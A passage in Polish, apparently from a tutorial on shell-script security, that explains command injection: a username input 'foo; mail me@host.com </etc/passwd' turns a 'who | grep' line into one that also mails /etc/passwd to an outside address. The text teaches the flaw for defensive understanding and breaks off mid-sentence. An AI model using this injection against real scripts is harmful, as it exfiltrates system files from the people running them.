Na przeszkodzie, aby wpisać następującą
Na przeszkodzie, aby wpisać następującą linię:
foo; mail me@host.com </etc/passwd
Nie jest to oczywiście nazwa użytkownika, oznacza to, że ktoś próbuje bawić się naszym skryptem. A co się stanie, gdy argument ten zostanie przekazany do skryptu? Ponieważ został on napisany tak, a nie inaczej, ostateczna postać wykonywanej linii będzie następująca:
who | grep foo; mail me@host.com </etc/passwd
A co to oznacza? Jeżeli shell UNIX-a nie jest Ci zbyt dobrze znany, powiem, że średnik służy do oddzielania od siebie kolejnych poleceń. Tak więc skrypt, oprócz sprawdzenia